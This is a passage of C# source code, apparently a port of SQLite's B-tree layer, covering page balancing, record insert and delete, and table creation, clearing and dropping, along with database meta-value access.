Then install pChild as the right-child. */\n      zeroPage(pRoot, pChild.aData[0] & ~PTF_LEAF);\n      sqlite3Put4byte(pRoot.aData, pRoot.hdrOffset + 8, pgnoChild);\n\n      ppChild = pChild;\n      return SQLITE_OK;\n    }\n\n    /*\n    ** The page that pCur currently points to has just been modified in\n    ** some way. This function figures out if this modification means the\n    ** tree needs to be balanced, and if so calls the appropriate balancing\n    ** routine. Balancing routines are:\n    **\n    **   balance_quick()\n    **   balance_deeper()\n    **   balance_nonroot()\n    */\n    static int balance(BtCursor pCur)\n    {\n      int rc = SQLITE_OK;\n      int nMin = pCur.pBt.usableSize * 2 / 3;\n      u8[] aBalanceQuickSpace = new u8[13];\n      u8[] pFree = null;\n\n#if !NDEBUG || SQLITE_COVERAGE_TEST || DEBUG\n      int balance_quick_called = 0;//TESTONLY( int balance_quick_called = 0 );\n      int balance_deeper_called = 0;//TESTONLY( int balance_deeper_called = 0 );\n#else\nint balance_quick_called = 0;\nint balance_deeper_called = 0;\n#endif\n\n      do\n      {\n        int iPage = pCur.iPage;\n        MemPage pPage = pCur.apPage[iPage];\n\n        if (iPage == 0)\n        {\n          if (pPage.nOverflow != 0)\n          {\n            /* The root page of the b-tree is overfull. In this case call the\n            ** balance_deeper() function to create a new child for the root-page\n            ** and copy the current contents of the root-page to it. The\n            ** next iteration of the do-loop will balance the child page.\n            */\n            Debug.Assert((balance_deeper_called++) == 0);\n            rc = balance_deeper(pPage, ref pCur.apPage[1]);\n            if (rc == SQLITE_OK)\n            {\n              pCur.iPage = 1;\n              pCur.aiIdx[0] = 0;\n              pCur.aiIdx[1] = 0;\n              Debug.Assert(pCur.apPage[1].nOverflow != 0);\n            }\n          }\n          else\n          {\n            break;\n          }\n        }\n        else if (pPage.nOverflow == 0 && pPage.nFree <= nMin)\n        {\n          break;\n        }\n        else\n        {\n          MemPage pParent = pCur.apPage[iPage - 1];\n          int iIdx = pCur.aiIdx[iPage - 1];\n\n          rc = sqlite3PagerWrite(pParent.pDbPage);\n          if (rc == SQLITE_OK)\n          {\n#if !SQLITE_OMIT_QUICKBALANCE\n            if (pPage.hasData != 0\n            && pPage.nOverflow == 1\n            && pPage.aOvfl[0].idx == pPage.nCell\n            && pParent.pgno != 1\n            && pParent.nCell == iIdx\n            )\n            {\n              /* Call balance_quick() to create a new sibling of pPage on which\n              ** to store the overflow cell. balance_quick() inserts a new cell\n              ** into pParent, which may cause pParent overflow. If this\n              ** happens, the next interation of the do-loop will balance pParent\n              ** use either balance_nonroot() or balance_deeper(). Until this\n              ** happens, the overflow cell is stored in the aBalanceQuickSpace[]\n              ** buffer.\n              **\n              ** The purpose of the following Debug.Assert() is to check that only a\n              ** single call to balance_quick() is made for each call to this\n              ** function. If this were not verified, a subtle bug involving reuse\n              ** of the aBalanceQuickSpace[] might sneak in.\n              */\n              Debug.Assert((balance_quick_called++) == 0);\n              rc = balance_quick(pParent, pPage, aBalanceQuickSpace);\n            }\n            else\n#endif\n            {\n              /* In this case, call balance_nonroot() to redistribute cells\n              ** between pPage and up to 2 of its sibling pages. This involves\n              ** modifying the contents of pParent, which may cause pParent to\n              ** become overfull or underfull. The next iteration of the do-loop\n              ** will balance the parent page to correct this.\n              **\n              ** If the parent page becomes overfull, the overflow cell or cells\n              ** are stored in the pSpace buffer allocated immediately below.\n              ** A subsequent iteration of the do-loop will deal with this by\n              ** calling balance_nonroot() (balance_deeper() may be called first,\n              ** but it doesn't deal with overflow cells - just moves them to a\n              ** different page). Once this subsequent call to balance_nonroot()\n              ** has completed, it is safe to release the pSpace buffer used by\n              ** the previous call, as the overflow cell data will have been\n              ** copied either into the body of a database page or into the new\n              ** pSpace buffer passed to the latter call to balance_nonroot().\n              */\n              u8[] pSpace = new u8[pCur.pBt.pageSize];// u8 pSpace = sqlite3PageMalloc( pCur.pBt.pageSize );\n              rc = balance_nonroot(pParent, iIdx, pSpace, iPage == 1 ? 1 : 0);\n              //if (pFree != null)\n              //{\n              //  /* If pFree is not NULL, it points to the pSpace buffer used\n              //  ** by a previous call to balance_nonroot(). Its contents are\n              //  ** now stored either on real database pages or within the\n              //  ** new pSpace buffer, so it may be safely freed here. */\n              //  sqlite3PageFree(ref pFree);\n              //}\n\n              /* The pSpace buffer will be freed after the next call to\n              ** balance_nonroot(), or just before this function returns, whichever\n              ** comes first. */\n              pFree = pSpace;\n            }\n          }\n\n          pPage.nOverflow = 0;\n\n          /* The next iteration of the do-loop balances the parent page. */\n          releasePage(pPage);\n          pCur.iPage--;\n        }\n      } while (rc == SQLITE_OK);\n\n      //if (pFree != null)\n      //{\n      //  sqlite3PageFree(ref pFree);\n      //}\n      return rc;\n    }\n\n\n    /*\n    ** Insert a new record into the BTree.  The key is given by (pKey,nKey)\n    ** and the data is given by (pData,nData).  The cursor is used only to\n    ** define what table the record should be inserted into.  The cursor\n    ** is left pointing at a random location.\n    **\n    ** For an INTKEY table, only the nKey value of the key is used.  pKey is\n    ** ignored.  For a ZERODATA table, the pData and nData are both ignored.\n    **\n    ** If the seekResult parameter is non-zero, then a successful call to\n    ** MovetoUnpacked() to seek cursor pCur to (pKey, nKey) has already\n    ** been performed. seekResult is the search result returned (a negative\n    ** number if pCur points at an entry that is smaller than (pKey, nKey), or\n    ** a positive value if pCur points at an etry that is larger than\n    ** (pKey, nKey)).\n    **\n    ** If the seekResult parameter is 0, then cursor pCur may point to any\n    ** entry or to no entry at all. In this case this function has to seek\n    ** the cursor before the new key can be inserted.\n    */\n    static int sqlite3BtreeInsert(\n    BtCursor pCur,                /* Insert data into the table of this cursor */\n    byte[] pKey, i64 nKey,        /* The key of the new record */\n    byte[] pData, int nData,      /* The data of the new record */\n    int nZero,                     /* Number of extra 0 bytes to append to data */\n    int appendBias,                /* True if this is likely an append */\n    int seekResult                 /* Result of prior MovetoUnpacked() call */\n    )\n    {\n      int rc;\n      int loc = seekResult;\n      int szNew = 0;\n      int idx;\n      MemPage pPage;\n      Btree p = pCur.pBtree;\n      BtShared pBt = p.pBt;\n      int oldCell;\n      byte[] newCell = null;\n\n      if (pCur.eState == CURSOR_FAULT)\n      {\n        Debug.Assert(pCur.skipNext != SQLITE_OK);\n        return pCur.skipNext;\n      }\n\n      Debug.Assert(cursorHoldsMutex(pCur));\n      Debug.Assert(pCur.wrFlag != 0 && pBt.inTransaction == TRANS_WRITE && !pBt.readOnly);\n      Debug.Assert(hasSharedCacheTableLock(p, pCur.pgnoRoot, pCur.pKeyInfo != null ? 1 : 0, 2));\n\n      /* Assert that the caller has been consistent. If this cursor was opened\n      ** expecting an index b-tree, then the caller should be inserting blob\n      ** keys with no associated data. If the cursor was opened expecting an\n      ** intkey table, the caller should be inserting integer keys with a\n      ** blob of associated data.  */\n      Debug.Assert((pKey == null) == (pCur.pKeyInfo == null));\n\n      /* If this is an insert into a table b-tree, invalidate any incrblob\n      ** cursors open on the row being replaced (assuming this is a replace\n      ** operation - if it is not, the following is a no-op).  */\n      if (pCur.pKeyInfo == null)\n      {\n        invalidateIncrblobCursors(p, nKey, 0);\n      }\n\n      /* Save the positions of any other cursors open on this table.\n      **\n      ** In some cases, the call to btreeMoveto() below is a no-op. For\n      ** example, when inserting data into a table with auto-generated integer\n      ** keys, the VDBE layer invokes sqlite3BtreeLast() to figure out the\n      ** integer key to use. It then calls this function to actually insert the\n      ** data into the intkey B-Tree. In this case btreeMoveto() recognizes\n      ** that the cursor is already where it needs to be and returns without\n      ** doing any work. To avoid thwarting these optimizations, it is important\n      ** not to clear the cursor here.\n      */\n      rc = saveAllCursors(pBt, pCur.pgnoRoot, pCur);\n      if (rc != 0) return rc;\n      if (0 == loc)\n      {\n        rc = btreeMoveto(pCur, pKey, nKey, appendBias, ref loc);\n        if (rc != 0) return rc;\n      }\n      Debug.Assert(pCur.eState == CURSOR_VALID || (pCur.eState == CURSOR_INVALID && loc != 0));\n\n      pPage = pCur.apPage[pCur.iPage];\n      Debug.Assert(pPage.intKey != 0 || nKey >= 0);\n      Debug.Assert(pPage.leaf != 0 || 0 == pPage.intKey);\n\n      TRACE(\"INSERT: table=%d nkey=%lld ndata=%d page=%d %s\\n\",\n      pCur.pgnoRoot, nKey, nData, pPage.pgno,\n      loc == 0 ? \"overwrite\" : \"new entry\");\n      Debug.Assert(pPage.isInit != 0);\n      allocateTempSpace(pBt);\n      newCell = pBt.pTmpSpace;\n      //if (newCell == null) return SQLITE_NOMEM;\n      rc = fillInCell(pPage, newCell, pKey, nKey, pData, nData, nZero, ref szNew);\n      if (rc != 0) goto end_insert;\n      Debug.Assert(szNew == cellSizePtr(pPage, newCell));\n      Debug.Assert(szNew <= MX_CELL_SIZE(pBt));\n      idx = pCur.aiIdx[pCur.iPage];\n      if (loc == 0)\n      {\n        u16 szOld;\n        Debug.Assert(idx < pPage.nCell);\n        rc = sqlite3PagerWrite(pPage.pDbPage);\n        if (rc != 0)\n        {\n          goto end_insert;\n        }\n        oldCell = findCell(pPage, idx);\n        if (0 == pPage.leaf)\n        {\n          //memcpy(newCell, oldCell, 4);\n          newCell[0] = pPage.aData[oldCell + 0];\n          newCell[1] = pPage.aData[oldCell + 1];\n          newCell[2] = pPage.aData[oldCell + 2];\n          newCell[3] = pPage.aData[oldCell + 3];\n        }\n        szOld = cellSizePtr(pPage, oldCell);\n        rc = clearCell(pPage, oldCell);\n        dropCell(pPage, idx, szOld, ref rc);\n        if (rc != 0) goto end_insert;\n      }\n      else if (loc < 0 && pPage.nCell > 0)\n      {\n        Debug.Assert(pPage.leaf != 0);\n        idx = ++pCur.aiIdx[pCur.iPage];\n      }\n      else\n      {\n        Debug.Assert(pPage.leaf != 0);\n      }\n      insertCell(pPage, idx, newCell, szNew, null, 0, ref rc);\n      Debug.Assert(rc != SQLITE_OK || pPage.nCell > 0 || pPage.nOverflow > 0);\n\n      /* If no error has occured and pPage has an overflow cell, call balance()\n      ** to redistribute the cells within the tree. Since balance() may move\n      ** the cursor, zero the BtCursor.info.nSize and BtCursor.validNKey\n      ** variables.\n      **\n      ** Previous versions of SQLite called moveToRoot() to move the cursor\n      ** back to the root page as balance() used to invalidate the contents\n      ** of BtCursor.apPage[] and BtCursor.aiIdx[]. Instead of doing that,\n      ** set the cursor state to \"invalid\". This makes common insert operations\n      ** slightly faster.\n      **\n      ** There is a subtle but important optimization here too. When inserting\n      ** multiple records into an intkey b-tree using a single cursor (as can\n      ** happen while processing an \"INSERT INTO ... SELECT\" statement), it\n      ** is advantageous to leave the cursor pointing to the last entry in\n      ** the b-tree if possible. If the cursor is left pointing to the last\n      ** entry in the table, and the next row inserted has an integer key\n      ** larger than the largest existing key, it is possible to insert the\n      ** row without seeking the cursor. This can be a big performance boost.\n      */\n      pCur.info.nSize = 0;\n      pCur.validNKey = false;\n      if (rc == SQLITE_OK && pPage.nOverflow != 0)\n      {\n        rc = balance(pCur);\n\n        /* Must make sure nOverflow is reset to zero even if the balance()\n        ** fails. Internal data structure corruption will result otherwise.\n        ** Also, set the cursor state to invalid. This stops saveCursorPosition()\n        ** from trying to save the current position of the cursor.  */\n        pCur.apPage[pCur.iPage].nOverflow = 0;\n        pCur.eState = CURSOR_INVALID;\n      }\n      Debug.Assert(pCur.apPage[pCur.iPage].nOverflow == 0);\n\n    end_insert:\n      return rc;\n    }\n\n    /*\n    ** Delete the entry that the cursor is pointing to.  The cursor\n    ** is left pointing at a arbitrary location.\n    */\n    static int sqlite3BtreeDelete(BtCursor pCur)\n    {\n      Btree p = pCur.pBtree;\n      BtShared pBt = p.pBt;\n      int rc;                             /* Return code */\n      MemPage pPage;                      /* Page to delete cell from */\n      int pCell;                          /* Pointer to cell to delete */\n      int iCellIdx;                       /* Index of cell to delete */\n      int iCellDepth;                     /* Depth of node containing pCell */\n\n      Debug.Assert(cursorHoldsMutex(pCur));\n      Debug.Assert(pBt.inTransaction == TRANS_WRITE);\n      Debug.Assert(!pBt.readOnly);\n      Debug.Assert(pCur.wrFlag != 0);\n      Debug.Assert(hasSharedCacheTableLock(p, pCur.pgnoRoot, pCur.pKeyInfo != null ? 1 : 0, 2));\n      Debug.Assert(!hasReadConflicts(p, pCur.pgnoRoot));\n\n      if (NEVER(pCur.aiIdx[pCur.iPage] >= pCur.apPage[pCur.iPage].nCell)\n      || NEVER(pCur.eState != CURSOR_VALID)\n      )\n      {\n        return SQLITE_ERROR;  /* Something has gone awry. */\n      }\n\n      /* If this is a delete operation to remove a row from a table b-tree,\n      ** invalidate any incrblob cursors open on the row being deleted.  */\n      if (pCur.pKeyInfo == null)\n      {\n        invalidateIncrblobCursors(p, pCur.info.nKey, 0);\n      }\n\n      iCellDepth = pCur.iPage;\n      iCellIdx = pCur.aiIdx[iCellDepth];\n      pPage = pCur.apPage[iCellDepth];\n      pCell = findCell(pPage, iCellIdx);\n\n      /* If the page containing the entry to delete is not a leaf page, move\n      ** the cursor to the largest entry in the tree that is smaller than\n      ** the entry being deleted. This cell will replace the cell being deleted\n      ** from the internal node. The 'previous' entry is used for this instead\n      ** of the 'next' entry, as the previous entry is always a part of the\n      ** sub-tree headed by the child page of the cell being deleted. This makes\n      ** balancing the tree following the delete operation easier.  */\n      if (0 == pPage.leaf)\n      {\n        int notUsed = 0;\n        rc = sqlite3BtreePrevious(pCur, ref notUsed);\n        if (rc != 0) return rc;\n      }\n\n      /* Save the positions of any other cursors open on this table before\n      ** making any modifications. Make the page containing the entry to be\n      ** deleted writable. Then free any overflow pages associated with the\n      ** entry and finally remove the cell itself from within the page.\n      */\n      rc = saveAllCursors(pBt, pCur.pgnoRoot, pCur);\n      if (rc != 0) return rc;\n      rc = sqlite3PagerWrite(pPage.pDbPage);\n      if (rc != 0) return rc;\n      rc = clearCell(pPage, pCell);\n      dropCell(pPage, iCellIdx, cellSizePtr(pPage, pCell), ref rc);\n      if (rc != 0) return rc;\n\n      /* If the cell deleted was not located on a leaf page, then the cursor\n      ** is currently pointing to the largest entry in the sub-tree headed\n      ** by the child-page of the cell that was just deleted from an internal\n      ** node. The cell from the leaf node needs to be moved to the internal\n      ** node to replace the deleted cell.  */\n      if (0 == pPage.leaf)\n      {\n        MemPage pLeaf = pCur.apPage[pCur.iPage];\n        int nCell;\n        Pgno n = pCur.apPage[iCellDepth + 1].pgno;\n        //byte[] pTmp;\n\n        pCell = findCell(pLeaf, pLeaf.nCell - 1);\n        nCell = cellSizePtr(pLeaf, pCell);\n        Debug.Assert(MX_CELL_SIZE(pBt) >= nCell);\n\n        //allocateTempSpace(pBt);\n        //pTmp = pBt.pTmpSpace;\n\n        rc = sqlite3PagerWrite(pLeaf.pDbPage);\n        byte[] pNext_4 = new byte[nCell + 4];\n        Buffer.BlockCopy(pLeaf.aData, pCell - 4, pNext_4, 0, nCell + 4);\n        insertCell(pPage, iCellIdx, pNext_4, nCell + 4, null, n, ref rc); //insertCell( pPage, iCellIdx, pCell - 4, nCell + 4, pTmp, n, ref rc );\n        dropCell(pLeaf, pLeaf.nCell - 1, nCell, ref rc);\n        if (rc != 0) return rc;\n      }\n\n      /* Balance the tree. If the entry deleted was located on a leaf page,\n      ** then the cursor still points to that page. In this case the first\n      ** call to balance() repairs the tree, and the if(...) condition is\n      ** never true.\n      **\n      ** Otherwise, if the entry deleted was on an internal node page, then\n      ** pCur is pointing to the leaf page from which a cell was removed to\n      ** replace the cell deleted from the internal node. This is slightly\n      ** tricky as the leaf node may be underfull, and the internal node may\n      ** be either under or overfull. In this case run the balancing algorithm\n      ** on the leaf node first. If the balance proceeds far enough up the\n      ** tree that we can be sure that any problem in the internal node has\n      ** been corrected, so be it. Otherwise, after balancing the leaf node,\n      ** walk the cursor up the tree to the internal node and balance it as\n      ** well.  */\n      rc = balance(pCur);\n      if (rc == SQLITE_OK && pCur.iPage > iCellDepth)\n      {\n        while (pCur.iPage > iCellDepth)\n        {\n          releasePage(pCur.apPage[pCur.iPage--]);\n        }\n        rc = balance(pCur);\n      }\n\n      if (rc == SQLITE_OK)\n      {\n        moveToRoot(pCur);\n      }\n      return rc;\n    }\n\n    /*\n    ** Create a new BTree table.  Write into piTable the page\n    ** number for the root page of the new table.\n    **\n    ** The type of type is determined by the flags parameter.  Only the\n    ** following values of flags are currently in use.  Other values for\n    ** flags might not work:\n    **\n    **     BTREE_INTKEY|BTREE_LEAFDATA     Used for SQL tables with rowid keys\n    **     BTREE_ZERODATA                  Used for SQL indices\n    */\n    static int btreeCreateTable(Btree p, ref int piTable, int flags)\n    {\n      BtShared pBt = p.pBt;\n      MemPage pRoot = new MemPage();\n      Pgno pgnoRoot = 0;\n      int rc;\n\n      Debug.Assert(sqlite3BtreeHoldsMutex(p));\n      Debug.Assert(pBt.inTransaction == TRANS_WRITE);\n      Debug.Assert(!pBt.readOnly);\n\n#if SQLITE_OMIT_AUTOVACUUM\nrc = allocateBtreePage(pBt, ref pRoot, ref pgnoRoot, 1, 0);\nif( rc !=0){\nreturn rc;\n}\n#else\n      if (pBt.autoVacuum)\n      {\n        Pgno pgnoMove = 0;                    /* Move a page here to make room for the root-page */\n        MemPage pPageMove = new MemPage();  /* The page to move to. */\n\n        /* Creating a new table may probably require moving an existing database\n        ** to make room for the new tables root page. In case this page turns\n        ** out to be an overflow page, delete all overflow page-map caches\n        ** held by open cursors.\n        */\n        invalidateAllOverflowCache(pBt);\n\n        /* Read the value of meta[3] from the database to determine where the\n        ** root page of the new table should go. meta[3] is the largest root-page\n        ** created so far, so the new root-page is (meta[3]+1).\n        */\n        sqlite3BtreeGetMeta(p, BTREE_LARGEST_ROOT_PAGE, ref pgnoRoot);\n        pgnoRoot++;\n\n        /* The new root-page may not be allocated on a pointer-map page, or the\n        ** PENDING_BYTE page.\n        */\n        while (pgnoRoot == PTRMAP_PAGENO(pBt, pgnoRoot) ||\n        pgnoRoot == PENDING_BYTE_PAGE(pBt))\n        {\n          pgnoRoot++;\n        }\n        Debug.Assert(pgnoRoot >= 3);\n\n        /* Allocate a page. The page that currently resides at pgnoRoot will\n        ** be moved to the allocated page (unless the allocated page happens\n        ** to reside at pgnoRoot).\n        */\n        rc = allocateBtreePage(pBt, ref pPageMove, ref pgnoMove, pgnoRoot, 1);\n        if (rc != SQLITE_OK)\n        {\n          return rc;\n        }\n\n        if (pgnoMove != pgnoRoot)\n        {\n          /* pgnoRoot is the page that will be used for the root-page of\n          ** the new table (assuming an error did not occur). But we were\n          ** allocated pgnoMove. If required (i.e. if it was not allocated\n          ** by extending the file), the current page at position pgnoMove\n          ** is already journaled.\n          */\n          u8 eType = 0;\n          Pgno iPtrPage = 0;\n\n          releasePage(pPageMove);\n\n          /* Move the page currently at pgnoRoot to pgnoMove. */\n          rc = btreeGetPage(pBt, pgnoRoot, ref pRoot, 0);\n          if (rc != SQLITE_OK)\n          {\n            return rc;\n          }\n          rc = ptrmapGet(pBt, pgnoRoot, ref eType, ref iPtrPage);\n          if (eType == PTRMAP_ROOTPAGE || eType == PTRMAP_FREEPAGE)\n          {\n#if SQLITE_DEBUG || DEBUG\n            rc = SQLITE_CORRUPT_BKPT();\n#else\nrc = SQLITE_CORRUPT_BKPT;\n#endif\n          }\n          if (rc != SQLITE_OK)\n          {\n            releasePage(pRoot);\n            return rc;\n          }\n          Debug.Assert(eType != PTRMAP_ROOTPAGE);\n          Debug.Assert(eType != PTRMAP_FREEPAGE);\n          rc = relocatePage(pBt, pRoot, eType, iPtrPage, pgnoMove, 0);\n          releasePage(pRoot);\n\n          /* Obtain the page at pgnoRoot */\n          if (rc != SQLITE_OK)\n          {\n            return rc;\n          }\n          rc = btreeGetPage(pBt, pgnoRoot, ref pRoot, 0);\n          if (rc != SQLITE_OK)\n          {\n            return rc;\n          }\n          rc = sqlite3PagerWrite(pRoot.pDbPage);\n          if (rc != SQLITE_OK)\n          {\n            releasePage(pRoot);\n            return rc;\n          }\n        }\n        else\n        {\n          pRoot = pPageMove;\n        }\n\n        /* Update the pointer-map and meta-data with the new root-page number. */\n        ptrmapPut(pBt, pgnoRoot, PTRMAP_ROOTPAGE, 0, ref rc);\n        if (rc != 0)\n        {\n          releasePage(pRoot);\n          return rc;\n        }\n        rc = sqlite3BtreeUpdateMeta(p, 4, pgnoRoot);\n        if (rc != 0)\n        {\n          releasePage(pRoot);\n          return rc;\n        }\n\n      }\n      else\n      {\n        rc = allocateBtreePage(pBt, ref pRoot, ref pgnoRoot, 1, 0);\n        if (rc != 0) return rc;\n      }\n#endif\n      Debug.Assert(sqlite3PagerIswriteable(pRoot.pDbPage));\n      zeroPage(pRoot, flags | PTF_LEAF);\n      sqlite3PagerUnref(pRoot.pDbPage);\n      piTable = (int)pgnoRoot;\n      return SQLITE_OK;\n    }\n    static int sqlite3BtreeCreateTable(Btree p, ref int piTable, int flags)\n    {\n      int rc;\n      sqlite3BtreeEnter(p);\n      rc = btreeCreateTable(p, ref piTable, flags);\n      sqlite3BtreeLeave(p);\n      return rc;\n    }\n\n    /*\n    ** Erase the given database page and all its children.  Return\n    ** the page to the freelist.\n    */\n    static int clearDatabasePage(\n    BtShared pBt,         /* The BTree that contains the table */\n    Pgno pgno,            /* Page number to clear */\n    int freePageFlag,     /* Deallocate page if true */\n    ref int pnChange\n    )\n    {\n      MemPage pPage = new MemPage();\n      int rc;\n      byte[] pCell;\n      int i;\n\n      Debug.Assert(sqlite3_mutex_held(pBt.mutex));\n      if (pgno > pagerPagecount(pBt))\n      {\n#if SQLITE_DEBUG || DEBUG\n        return SQLITE_CORRUPT_BKPT();\n#else\nreturn SQLITE_CORRUPT_BKPT;\n#endif\n      }\n\n      rc = getAndInitPage(pBt, pgno, ref pPage);\n      if (rc != 0) return rc;\n      for (i = 0; i < pPage.nCell; i++)\n      {\n        int iCell = findCell(pPage, i); pCell = pPage.aData; //        pCell = findCell( pPage, i );\n        if (0 == pPage.leaf)\n        {\n          rc = clearDatabasePage(pBt, sqlite3Get4byte(pCell, iCell), 1, ref pnChange);\n          if (rc != 0) goto cleardatabasepage_out;\n        }\n        rc = clearCell(pPage, iCell);\n        if (rc != 0) goto cleardatabasepage_out;\n      }\n      if (0 == pPage.leaf)\n      {\n        rc = clearDatabasePage(pBt, sqlite3Get4byte(pPage.aData, 8), 1, ref pnChange);\n        if (rc != 0) goto cleardatabasepage_out;\n      }\n      else //if (pnChange != 0)\n      {\n        //Debug.Assert(pPage.intKey != 0);\n        pnChange += pPage.nCell;\n      }\n      if (freePageFlag != 0)\n      {\n        freePage(pPage, ref rc);\n      }\n      else if ((rc = sqlite3PagerWrite(pPage.pDbPage)) == 0)\n      {\n        zeroPage(pPage, pPage.aData[0] | PTF_LEAF);\n      }\n\n    cleardatabasepage_out:\n      releasePage(pPage);\n      return rc;\n    }\n\n    /*\n    ** Delete all information from a single table in the database.  iTable is\n    ** the page number of the root of the table.  After this routine returns,\n    ** the root page is empty, but still exists.\n    **\n    ** This routine will fail with SQLITE_LOCKED if there are any open\n    ** read cursors on the table.  Open write cursors are moved to the\n    ** root of the table.\n    **\n    ** If pnChange is not NULL, then table iTable must be an intkey table. The\n    ** integer value pointed to by pnChange is incremented by the number of\n    ** entries in the table.\n    */\n    static int sqlite3BtreeClearTable(Btree p, int iTable, ref int pnChange)\n    {\n      int rc;\n      BtShared pBt = p.pBt;\n      sqlite3BtreeEnter(p);\n      Debug.Assert(p.inTrans == TRANS_WRITE);\n\n      /* Invalidate all incrblob cursors open on table iTable (assuming iTable\n      ** is the root of a table b-tree - if it is not, the following call is\n      ** a no-op).  */\n      invalidateIncrblobCursors(p, 0, 1);\n\n      rc = saveAllCursors(pBt, (Pgno)iTable, null);\n      if (SQLITE_OK == rc)\n      {\n        rc = clearDatabasePage(pBt, (Pgno)iTable, 0, ref pnChange);\n      }\n      sqlite3BtreeLeave(p);\n      return rc;\n    }\n\n    /*\n    ** Erase all information in a table and add the root of the table to\n    ** the freelist.  Except, the root of the principle table (the one on\n    ** page 1) is never added to the freelist.\n    **\n    ** This routine will fail with SQLITE_LOCKED if there are any open\n    ** cursors on the table.\n    **\n    ** If AUTOVACUUM is enabled and the page at iTable is not the last\n    ** root page in the database file, then the last root page\n    ** in the database file is moved into the slot formerly occupied by\n    ** iTable and that last slot formerly occupied by the last root page\n    ** is added to the freelist instead of iTable.  In this say, all\n    ** root pages are kept at the beginning of the database file, which\n    ** is necessary for AUTOVACUUM to work right.  piMoved is set to the\n    ** page number that used to be the last root page in the file before\n    ** the move.  If no page gets moved, piMoved is set to 0.\n    ** The last root page is recorded in meta[3] and the value of\n    ** meta[3] is updated by this procedure.\n    */\n    static int btreeDropTable(Btree p, Pgno iTable, ref int piMoved)\n    {\n      int rc;\n      MemPage pPage = null;\n      BtShared pBt = p.pBt;\n\n      Debug.Assert(sqlite3BtreeHoldsMutex(p));\n      Debug.Assert(p.inTrans == TRANS_WRITE);\n\n      /* It is illegal to drop a table if any cursors are open on the\n      ** database. This is because in auto-vacuum mode the backend may\n      ** need to move another root-page to fill a gap left by the deleted\n      ** root page. If an open cursor was using this page a problem would\n      ** occur.\n      **\n      ** This error is caught long before control reaches this point.\n      */\n      if (NEVER(pBt.pCursor))\n      {\n        sqlite3ConnectionBlocked(p.db, pBt.pCursor.pBtree.db);\n        return SQLITE_LOCKED_SHAREDCACHE;\n      }\n\n      rc = btreeGetPage(pBt, (Pgno)iTable, ref pPage, 0);\n      if (rc != 0) return rc;\n      int Dummy0 = 0; rc = sqlite3BtreeClearTable(p, (int)iTable, ref Dummy0);\n      if (rc != 0)\n      {\n        releasePage(pPage);\n        return rc;\n      }\n\n      piMoved = 0;\n\n      if (iTable > 1)\n      {\n#if SQLITE_OMIT_AUTOVACUUM\nfreePage(pPage, ref rc);\nreleasePage(pPage);\n#else\n        if (pBt.autoVacuum)\n        {\n          Pgno maxRootPgno = 0;\n          sqlite3BtreeGetMeta(p, BTREE_LARGEST_ROOT_PAGE, ref maxRootPgno);\n\n          if (iTable == maxRootPgno)\n          {\n            /* If the table being dropped is the table with the largest root-page\n            ** number in the database, put the root page on the free list.\n            */\n            freePage(pPage, ref rc);\n            releasePage(pPage);\n            if (rc != SQLITE_OK)\n            {\n              return rc;\n            }\n          }\n          else\n          {\n            /* The table being dropped does not have the largest root-page\n            ** number in the database. So move the page that does into the\n            ** gap left by the deleted root-page.\n            */\n            MemPage pMove = new MemPage();\n            releasePage(pPage);\n            rc = btreeGetPage(pBt, maxRootPgno, ref pMove, 0);\n            if (rc != SQLITE_OK)\n            {\n              return rc;\n            }\n            rc = relocatePage(pBt, pMove, PTRMAP_ROOTPAGE, 0, iTable, 0);\n            releasePage(pMove);\n            if (rc != SQLITE_OK)\n            {\n              return rc;\n            }\n            pMove = null;\n            rc = btreeGetPage(pBt, maxRootPgno, ref pMove, 0);\n            freePage(pMove, ref rc);\n            releasePage(pMove);\n            if (rc != SQLITE_OK)\n            {\n              return rc;\n            }\n            piMoved = (int)maxRootPgno;\n          }\n\n          /* Set the new 'max-root-page' value in the database header. This\n          ** is the old value less one, less one more if that happens to\n          ** be a root-page number, less one again if that is the\n          ** PENDING_BYTE_PAGE.\n          */\n          maxRootPgno--;\n          while (maxRootPgno == PENDING_BYTE_PAGE(pBt)\n          || PTRMAP_ISPAGE(pBt, maxRootPgno))\n          {\n            maxRootPgno--;\n          }\n          Debug.Assert(maxRootPgno != PENDING_BYTE_PAGE(pBt));\n\n          rc = sqlite3BtreeUpdateMeta(p, 4, maxRootPgno);\n        }\n        else\n        {\n          freePage(pPage, ref rc);\n          releasePage(pPage);\n        }\n#endif\n      }\n      else\n      {\n        /* If sqlite3BtreeDropTable was called on page 1.\n        ** This really never should happen except in a corrupt\n        ** database.\n        */\n        zeroPage(pPage, PTF_INTKEY | PTF_LEAF);\n        releasePage(pPage);\n      }\n      return rc;\n    }\n    static int sqlite3BtreeDropTable(Btree p, int iTable, ref int piMoved)\n    {\n      int rc;\n      sqlite3BtreeEnter(p);\n      rc = btreeDropTable(p, (u32)iTable, ref piMoved);\n      sqlite3BtreeLeave(p);\n      return rc;\n    }\n\n\n    /*\n    ** This function may only be called if the b-tree connection already\n    ** has a read or write transaction open on the database.\n    **\n    ** Read the meta-information out of a database file.  Meta[0]\n    ** is the number of free pages currently in the database.  Meta[1]\n    ** through meta[15] are available for use by higher layers.  Meta[0]\n    ** is read-only, the others are read/write.\n    **\n    ** The schema layer numbers meta values differently.  At the schema\n    ** layer (and the SetCookie and ReadCookie opcodes) the number of\n    ** free pages is not visible.  So Cookie[0] is the same as Meta[1].\n    */\n    static void sqlite3BtreeGetMeta(Btree p, int idx, ref u32 pMeta)\n    {\n      BtShared pBt = p.pBt;\n\n      sqlite3BtreeEnter(p);\n      Debug.Assert(p.inTrans > TRANS_NONE);\n      Debug.Assert(SQLITE_OK == querySharedCacheTableLock(p, MASTER_ROOT, READ_LOCK));\n      Debug.Assert(pBt.pPage1 != null);\n      Debug.Assert(idx >= 0 && idx <= 15);\n\n      pMeta = sqlite3Get4byte(pBt.pPage1.aData, 36 + idx * 4);\n\n      /* If auto-vacuum is disabled in this build and this is an auto-vacuum\n      ** database, mark the database as read-only.  */\n#if SQLITE_OMIT_AUTOVACUUM\nif( idx==BTREE_LARGEST_ROOT_PAGE && pMeta>0 ) pBt.readOnly = 1;\n#endif\n\n      sqlite3BtreeLeave(p);\n    }\n\n    /*\n    ** Write meta-information back into the database.  Meta[0] is\n    ** read-only and may not be written.\n    */\n    static int sqlite3BtreeUpdateMeta(Btree p, int idx, u32 iMeta)\n    {\n      BtShared pBt = p.pBt;\n      byte[] pP1;\n      int rc;\n      Debug.Assert(idx >= 1 && idx <= 15);\n      sqlite3BtreeEnter(p);\n      Debug.Assert(p.inTrans == TRANS_WRITE);\n      Debug.Assert(pBt.pPage1 != null);\n      pP1 = pBt.pPage1.aData;\n      rc = sqlite3PagerWrite(pBt.pPage1.pDbPage);\n      if (rc == 